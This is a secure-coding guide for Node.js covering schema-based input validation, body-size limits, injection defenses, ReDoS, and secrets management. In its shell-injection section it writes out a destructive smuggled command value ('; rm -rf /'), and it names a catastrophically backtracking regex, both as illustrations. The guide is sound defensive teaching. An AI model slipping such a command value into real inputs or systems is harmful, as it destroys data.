Input validation and handling secrets

Validate at the boundary, parse don’t validate

Treat every byte that crosses your process edge — request body, query string, route params, headers, even environment variables — as hostile until proven otherwise. The senior discipline is parse, don’t validate: at the door, run the raw input through a schema (zod, ajv, Joi) that asserts type, range, length, and an allowlist of shapes, and hand the rest of the code a typed value it can trust. If the input doesn’t match, reject it with a 400 — don’t silently “sanitize” by stripping characters, because sanitization quietly mutates attacker input into something that may still be dangerous and is now also wrong.

import { z } from "zod";

const CreateUser = z.object({
  email: z.string().email().max(254),
  age: z.number().int().min(13).max(120),
  role: z.enum(["member", "admin"]), // allowlist, not a freeform string
});

app.post("/users", (req, res) => {
  const parsed = CreateUser.safeParse(req.body);
  if (!parsed.success) return res.status(400).json({ error: "invalid" });
  createUser(parsed.data); // parsed.data is fully typed and trusted
});

One more boundary control belongs here: cap the body size. An unbounded JSON body lets an attacker send hundreds of megabytes and exhaust memory — a trivial denial-of-service. Set a limit (express.json({ limit: "100kb" })) so the parser rejects oversized payloads before they reach your heap.

The injection family: one defense per kind

Most of the OWASP Top 10’s “Injection” category collapses to one rule: never let untrusted data become code. Each channel has exactly one correct defense, and they are not interchangeable.

For SQL, the fix is parameterized queries: the driver sends the query text and the values over separate channels, so the database never parses your data as syntax. For shell commands, avoid a shell entirely — child_process.execFile/spawn with an argument array passes each arg as a literal, so a value like ; rm -rf / is just a weird filename, not a second command. For paths, resolve to an absolute path and confirm it still lives under your base directory. For ReDoS, a nested-quantifier regex like /^(a+)+$/ can backtrack catastrophically on a long crafted string and pin the single thread for seconds to minutes.

import { execFile } from "node:child_process";
import path from "node:path";

// ✅ SQL: values travel separately from the query text
await db.query("SELECT * FROM users WHERE email = $1", [email]);

// ✅ command: arg array, no shell — input can never become a new command
execFile("convert", [userPath, "-resize", "100x100", outPath]);

// ✅ path: resolve, then prove it stays under the base dir
const base = path.resolve("./reports");
const full = path.resolve(base, req.params.file);
if (!full.startsWith(base + path.sep)) return res.sendStatus(400);

Secrets: env in, never in git

A secret is anything that grants access — DB passwords, API keys, signing keys, tokens. The non-negotiable rules: never hardcode and never commit them. Read configuration from process.env; for local development, load a .env file with Node’s built-in node --env-file=.env (available since Node 20.6) or the dotenv package — and add .env to .gitignore so it never enters the repo.

# local dev: load env without any dependency (Node 20.6+)
node --env-file=.env server.js

// read at startup; fail fast if a required secret is missing
const dbUrl = process.env.DATABASE_URL;
if (!dbUrl) throw new Error("DATABASE_URL is not set");

In production, don’t ship .env at all — use a secrets manager (HashiCorp Vault, AWS Secrets Manager, Doppler) that injects values at runtime, so secrets are never at rest in your image or repo. Three habits separate a hardened service: don’t log secrets (redact tokens before they hit a log line), rotate on exposure (a committed .env is a permanent leak — it lives in git history even after you delete the file, so you must rotate the credential, not just git rm it), and apply least privilege so a leaked token can do as little as possible.